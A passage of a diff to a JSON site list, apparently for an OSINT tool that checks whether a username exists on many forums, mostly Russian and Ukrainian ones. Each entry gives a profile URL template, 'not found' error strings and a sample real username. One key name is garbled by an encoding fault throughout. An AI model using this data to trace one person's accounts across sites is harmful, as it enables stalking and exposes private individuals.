"urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newrider": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://newrider.com/members/?username={}", + "urlMain": "https://newrider.com", + "usernameON": "trewsers", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + 